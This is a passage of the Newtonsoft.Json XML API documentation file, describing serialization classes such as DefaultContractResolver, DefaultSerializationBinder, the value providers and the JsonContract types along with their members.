<param name=\"member\">The member.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> used by the serializer to get and set values from a member.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateProperty(System.Reflection.MemberInfo,Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.MemberInfo\"/>.\n            </summary>\n            <param name=\"memberSerialization\">The member's parent <see cref=\"T:Newtonsoft.Json.MemberSerialization\"/>.</param>\n            <param name=\"member\">The member to create a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for.</param>\n            <returns>A created <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.MemberInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the name of the property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>Resolved name of the property.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveExtensionDataName(System.String)\">\n            <summary>\n            Resolves the name of the extension data. By default no changes are made to extension data names.\n            </summary>\n            <param name=\"extensionDataName\">Name of the extension data.</param>\n            <returns>Resolved name of the extension data.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveDictionaryKey(System.String)\">\n            <summary>\n            Resolves the key of the dictionary. By default <see cref=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolvePropertyName(System.String)\"/> is used to resolve dictionary keys.\n            </summary>\n            <param name=\"dictionaryKey\">Key of the dictionary.</param>\n            <returns>Resolved key of the dictionary.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.GetResolvedPropertyName(System.String)\">\n            <summary>\n            Gets the resolved name of the property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>Name of the property.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultNamingStrategy\">\n            <summary>\n            The default naming strategy. Property names and dictionary keys are unchanged.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultSerializationBinder\">\n            <summary>\n            The default serialization binder used when resolving and loading classes from type names.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.DefaultSerializationBinder\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.BindToType(System.String,System.String)\">\n            <summary>\n            When overridden in a derived class, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n            <returns>\n            The type of the object the formatter creates a new instance of.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.BindToName(System.Type,System.String@,System.String@)\">\n            <summary>\n            When overridden in a derived class, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"serializedType\">The type of the object the formatter creates a new instance of.</param>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DiagnosticsTraceWriter\">\n            <summary>\n            Represents a trace writer that writes to the application's <see cref=\"T:System.Diagnostics.TraceListener\"/> instances.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DiagnosticsTraceWriter.LevelFilter\">\n            <summary>\n            Gets the <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            For example a filter level of <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/> will exclude <see cref=\"F:System.Diagnostics.TraceLevel.Verbose\"/> messages and include <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/>,\n            <see cref=\"F:System.Diagnostics.TraceLevel.Warning\"/> and <see cref=\"F:System.Diagnostics.TraceLevel.Error\"/> messages.\n            </summary>\n            <value>\n            The <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DiagnosticsTraceWriter.Trace(System.Diagnostics.TraceLevel,System.String,System.Exception)\">\n            <summary>\n            Writes the specified trace level, message and optional exception.\n            </summary>\n            <param name=\"level\">The <see cref=\"T:System.Diagnostics.TraceLevel\"/> at which to write this trace.</param>\n            <param name=\"message\">The trace message.</param>\n            <param name=\"ex\">The trace exception. This parameter is optional.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DynamicValueProvider\">\n            <summary>\n            Get and set values for a <see cref=\"T:System.Reflection.MemberInfo\"/> using dynamic methods.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DynamicValueProvider.#ctor(System.Reflection.MemberInfo)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.DynamicValueProvider\"/> class.\n            </summary>\n            <param name=\"memberInfo\">The member info.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DynamicValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DynamicValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ErrorContext\">\n            <summary>\n            Provides information surrounding an error.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Error\">\n            <summary>\n            Gets the error.\n            </summary>\n            <value>The error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.OriginalObject\">\n            <summary>\n            Gets the original object that caused the error.\n            </summary>\n            <value>The original object that caused the error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Member\">\n            <summary>\n            Gets the member that caused the error.\n            </summary>\n            <value>The member that caused the error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Path\">\n            <summary>\n            Gets the path of the JSON location where the error occurred.\n            </summary>\n            <value>The path of the JSON location where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Handled\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.ErrorContext\"/> is handled.\n            </summary>\n            <value><c>true</c> if handled; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ErrorEventArgs\">\n            <summary>\n            Provides data for the Error event.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorEventArgs.CurrentObject\">\n            <summary>\n            Gets the current object the error event is being raised against.\n            </summary>\n            <value>The current object the error event is being raised against.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorEventArgs.ErrorContext\">\n            <summary>\n            Gets the error context.\n            </summary>\n            <value>The error context.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ErrorEventArgs.#ctor(System.Object,Newtonsoft.Json.Serialization.ErrorContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ErrorEventArgs\"/> class.\n            </summary>\n            <param name=\"currentObject\">The current object.</param>\n            <param name=\"errorContext\">The error context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ExpressionValueProvider\">\n            <summary>\n            Get and set values for a <see cref=\"T:System.Reflection.MemberInfo\"/> using dynamic methods.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ExpressionValueProvider.#ctor(System.Reflection.MemberInfo)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ExpressionValueProvider\"/> class.\n            </summary>\n            <param name=\"memberInfo\">The member info.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ExpressionValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ExpressionValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\">\n            <summary>\n            Provides methods to get attributes.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IAttributeProvider.GetAttributes(System.Boolean)\">\n            <summary>\n            Returns a collection of all of the attributes, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IAttributeProvider.GetAttributes(System.Type,System.Boolean)\">\n            <summary>\n            Returns a collection of attributes, identified by type, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"attributeType\">The type of the attributes.</param>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IContractResolver\">\n            <summary>\n            Used by <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to resolve a <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for a given <see cref=\"T:System.Type\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeContractResolverObject\" title=\"IContractResolver Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeContractResolverExample\" title=\"IContractResolver Example\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\">\n            <summary>\n            Used to resolve references when serializing and deserializing JSON by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.ResolveReference(System.Object,System.String)\">\n            <summary>\n            Resolves a reference to its object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"reference\">The reference to resolve.</param>\n            <returns>The object that was resolved from the reference.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.GetReference(System.Object,System.Object)\">\n            <summary>\n            Gets the reference for the specified object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"value\">The object to get a reference for.</param>\n            <returns>The reference to the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.IsReferenced(System.Object,System.Object)\">\n            <summary>\n            Determines whether the specified object is referenced.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"value\">The object to test for a reference.</param>\n            <returns>\n            \t<c>true</c> if the specified object is referenced; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.AddReference(System.Object,System.String,System.Object)\">\n            <summary>\n            Adds a reference to the specified object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"reference\">The reference.</param>\n            <param name=\"value\">The object to reference.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\">\n            <summary>\n            Allows users to control class loading and mandate what class to load.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ISerializationBinder.BindToType(System.String,System.String)\">\n            <summary>\n            When implemented, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object</param>\n            <returns>The type of the object the formatter creates a new instance of.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ISerializationBinder.BindToName(System.Type,System.String@,System.String@)\">\n            <summary>\n            When implemented, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"serializedType\">The type of the object the formatter creates a new instance of.</param>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ITraceWriter\">\n            <summary>\n            Represents a trace writer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ITraceWriter.LevelFilter\">\n            <summary>\n            Gets the <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            For example a filter level of <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/> will exclude <see cref=\"F:System.Diagnostics.TraceLevel.Verbose\"/> messages and include <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/>,\n            <see cref=\"F:System.Diagnostics.TraceLevel.Warning\"/> and <see cref=\"F:System.Diagnostics.TraceLevel.Error\"/> messages.\n            </summary>\n            <value>The <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ITraceWriter.Trace(System.Diagnostics.TraceLevel,System.String,System.Exception)\">\n            <summary>\n            Writes the specified trace level, message and optional exception.\n            </summary>\n            <param name=\"level\">The <see cref=\"T:System.Diagnostics.TraceLevel\"/> at which to write this trace.</param>\n            <param name=\"message\">The trace message.</param>\n            <param name=\"ex\">The trace exception. This parameter is optional.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IValueProvider\">\n            <summary>\n            Provides methods to get and set values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.CollectionItemType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the collection items.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the collection items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.IsMultidimensionalArray\">\n            <summary>\n            Gets a value indicating whether the collection type is a multidimensional array.\n            </summary>\n            <value><c>true</c> if the collection type is a multidimensional array; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.HasParameterizedCreator\">\n            <summary>\n            Gets a value indicating whether the creator has a parameter with the collection values.\n            </summary>\n            <value><c>true</c> if the creator has a parameter with the collection values; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonArrayContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonContainerContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemConverter\">\n            <summary>\n            Gets or sets the default collection items <see cref=\"T:Newtonsoft.Json.JsonConverter\" />.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemIsReference\">\n            <summary>\n            Gets or sets a value indicating whether the collection items preserve object references.\n            </summary>\n            <value><c>true</c> if collection items preserve object references; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the collection item reference loop handling.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the collection item type name handling.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonContainerContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonContainerContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SerializationCallback\">\n            <summary>\n            Handles <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> serialization callback events.\n            </summary>\n            <param name=\"o\">The object that raised the callback event.</param>\n            <param name=\"context\">The streaming context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SerializationErrorCallback\">\n            <summary>\n            Handles <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> serialization error callback events.\n            </summary>\n            <param name=\"o\">The object that raised the callback event.</param>\n            <param name=\"context\">The streaming context.</param>\n            <param name=\"errorContext\">The error context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ExtensionDataSetter\">\n            <summary>\n            Sets extension data for an object during deserialization.\n            </summary>\n            <param name=\"o\">The object to set extension data on.</param>\n            <param name=\"key\">The extension data key.</param>\n            <param name=\"value\">The extension data value.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ExtensionDataGetter\">\n            <summary>\n            Gets extension data for an object during serialization.\n            </summary>\n            <param name=\"o\">The object to set extension data on.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.UnderlyingType\">\n            <summary>\n            Gets the underlying type for the contract.\n            </summary>\n            <value>The underlying type for the contract.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.CreatedType\">\n            <summary>\n            Gets or sets the type created during deserialization.\n            </summary>\n            <value>The type created during deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.IsReference\">\n            <summary>\n            Gets or sets whether this type contract is serialized as a reference.\n            </summary>\n            <value>Whether this type contract is serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.Converter\">\n            <summary>\n            Gets or sets the default <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for this contract.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.InternalConverter\">\n            <summary>\n            Gets the internally resolved <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> for the contract's type.\n            This converter is used as a fallback converter when no other converter is resolved.\n            Setting <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.Converter\"/> will always override this converter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnDeserializedCallbacks\">\n            <summary>\n            Gets or sets all methods called immediately after deserialization of the object.\n            </summary>\n            <value>The methods called immediately after deserialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnDeserializingCallbacks\">\n            <summary>\n            Gets or sets all methods called during deserialization of the object.\n            </summary>\n            <value>The methods called during deserialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnSerializedCallbacks\">\n            <summary>\n            Gets or sets all methods called after serialization of the object graph.\n            </summary>\n            <value>The methods called after serialization of the object graph.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnSerializingCallbacks\">\n            <summary>\n            Gets or sets all methods called before serialization of the object.\n            </summary>\n            <value>The methods called before serialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnErrorCallbacks\">\n            <summary>\n            Gets or sets all method called when an error is thrown during the serialization of the object.\n            </summary>\n            <value>The methods called when an error is thrown during the serialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\">\n            <summary>\n            Gets or sets the default creator method used to create the object.\n            </summary>\n            <value>The default creator method used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreatorNonPublic\">\n            <summary>\n            Gets or sets a value indicating whether the default creator is non-public.\n            </summary>\n            <value><c>true</c> if the default object creator is non-public; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryKeyResolver\">\n            <summary>\n            Gets or sets the dictionary key resolver.\n            </summary>\n            <value>The dictionary key resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryKeyType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the dictionary keys.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the dictionary keys.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryValueType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the dictionary values.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the dictionary values.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.HasParameterizedCreator\">\n            <summary>\n            Gets a value indicating whether the creator has a parameter with the dictionary values.\n            </summary>\n            <value><c>true</c> if the creator has a parameter with the dictionary values; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonDictionaryContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonDynamicContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDynamicContract.Properties\">\n            <summary>\n            Gets the object's properties.\n            </summary>\n            <value>The object's properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDynamicContract.PropertyNameResolver\">\n            <summary>\n            Gets or sets the property name resolver.\n            </summary>\n            <value>The property name resolver.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonDynamicContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonDynamicContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonISerializableContract.ISerializableCreator\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> object constructor.\n            </summary>\n            <value>The <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> object constructor.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonISerializableContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonLinqContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.MemberSerialization\">\n            <summary>\n            Gets or sets the object member serialization.\n            </summary>\n            <value>The member object serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.MissingMemberHandling\">\n            <summary>\n            Gets or sets the missing member handling used when deserializing this object.\n            </summary>\n            <value>The missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ItemRequired\">\n            <summary>\n            Gets or sets a value that indicates whether the object's properties are required.\n            </summary>\n            <value>\n            \tA value indicating whether the object's properties are required.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ItemNullValueHandling\">\n            <summary>\n            Gets or sets how the object's properties with null values are handled during serialization and deserialization.\n            </summary>\n            <value>How the object's properties with null values are handled during serialization and deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.Properties\">\n            <summary>\n            Gets the object's properties.\n            </summary>\n            <value>The object's properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.CreatorParameters\">\n            <summary>\n            Gets a collection of <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> instances that define the parameters used with <see cref=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.OverrideCreator\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            This function is called with a collection of arguments which are defined by the <see cref=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.CreatorParameters\"/> collection.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataSetter\">\n            <summary>\n            Gets or sets the extension data setter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataGetter\">\n            <summary>\n            Gets or sets the extension data getter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataValueType\">\n            <summary>\n            Gets or sets the extension data value type.\n            </summary>\n        </member>\n        <member 